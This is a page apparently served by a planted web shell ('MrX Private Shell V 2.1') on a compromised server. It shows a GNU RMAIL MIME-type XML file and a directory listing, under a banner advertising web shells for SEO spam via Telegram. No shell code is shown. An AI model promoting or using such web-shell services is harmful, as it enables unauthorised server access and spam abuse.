__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?xml version="1.0" encoding="utf-8"?> <mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="message/x-gnu-rmail"> <!--Created automatically by update-mime-database. DO NOT EDIT!--> <comment>GNU mail message</comment> <comment xml:lang="zh_TW">GNU 郵件訊息</comment> <comment xml:lang="zh_CN">GNU mail 信件</comment> <comment xml:lang="vi">Thư điện tử của GNU</comment> <comment xml:lang="uk">поштове повідомлення GNU</comment> <comment xml:lang="tr">GNU posta iletisi</comment> <comment xml:lang="sv">GNU-epostmeddelande</comment> <comment xml:lang="sr">порука Гнуове поште</comment> <comment xml:lang="sq">mesazh GNU mail</comment> <comment xml:lang="sl">Sporočilo pošte GNU</comment> <comment xml:lang="si">GNU තැපැල් පණිවිඩය</comment> <comment xml:lang="sk">Správa GNU mail</comment> <comment xml:lang="ru">Почтовое сообщение GNU</comment> <comment xml:lang="ro">Mesaj GNU mail</comment> <comment xml:lang="pt_BR">Mensagem de e-mail GNU</comment> <comment xml:lang="pt">mensagem de email GNU</comment> <comment xml:lang="pl">Wiadomość pocztowa GNU</comment> <comment xml:lang="oc">messatge de corrièr electronic GNU</comment> <comment xml:lang="nn">GNU e-postmelding</comment> <comment xml:lang="nl">GNU-mailbericht</comment> <comment xml:lang="nb">GNU e-postmelding</comment> <comment xml:lang="ms">Mesej emel GNU</comment> <comment xml:lang="lv">GNU pasta vēstule</comment> <comment xml:lang="lt">GNU pašto žinutė</comment> <comment xml:lang="ko">GNU 메일 메시지</comment> <comment xml:lang="kk">GNU пошта хабарламасы</comment> <comment xml:lang="ka">GNU mail შეტყობინება</comment> <comment xml:lang="ja">GNU メールメッセージ</comment> <comment xml:lang="it">Messaggio GNU mail</comment> <comment xml:lang="is">GNU póst skilaboð</comment> <comment xml:lang="id">Pesan surat GNU</comment> <comment xml:lang="ia">Message electronic de GNU</comment> <comment xml:lang="hu">GNU elektronikus levél</comment> <comment xml:lang="hr">GNU poruka pošte</comment> <comment xml:lang="he">הודעת דואר של GNU</comment> <comment xml:lang="gl">mensaxe de correo electrónico de GNU</comment> <comment xml:lang="ga">teachtaireacht r-phoist GNU</comment> <comment xml:lang="fur">messaç di pueste GNU</comment> <comment xml:lang="fr">message de courriel GNU</comment> <comment xml:lang="fo">GNU mail boð</comment> <comment xml:lang="fi">GNU-postiviesti</comment> <comment xml:lang="eu">GNU posta mezua</comment> <comment xml:lang="es">mensaje de correo de GNU</comment> <comment xml:lang="eo">mesaĝo de GNU mail</comment> <comment xml:lang="en_GB">GNU mail message</comment> <comment xml:lang="el">Μήνυμα αλληλογραφίας GNU</comment> <comment xml:lang="de">GNU-Mail-Nachricht</comment> <comment xml:lang="da">GNU-postmeddelelse</comment> <comment xml:lang="cy">Neges E-Bost GNU</comment> <comment xml:lang="cs">zpráva GNU mail</comment> <comment xml:lang="ca">missatge de GNU mail</comment> <comment xml:lang="bg">Съобщение — GNU mail</comment> <comment xml:lang="be@latin">List GNU</comment> <comment xml:lang="be">электронны ліст GNU</comment> <comment xml:lang="az">GNU poçt ismarışı</comment> <comment xml:lang="ar">رسالة بريد جنو</comment> <comment xml:lang="af">GNU-posboodskap</comment> <generic-icon name="text-x-generic"/> <glob pattern="RMAIL"/> </mime-type>
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| delivery-status.xml | File | 993 B | 0644 |
|
| disposition-notification.xml | File | 946 B | 0644 |
|
| external-body.xml | File | 873 B | 0644 |
|
| news.xml | File | 3.74 KB | 0644 |
|
| partial.xml | File | 939 B | 0644 |
|
| rfc822.xml | File | 963 B | 0644 |
|
| x-gnu-rmail.xml | File | 3.55 KB | 0644 |
|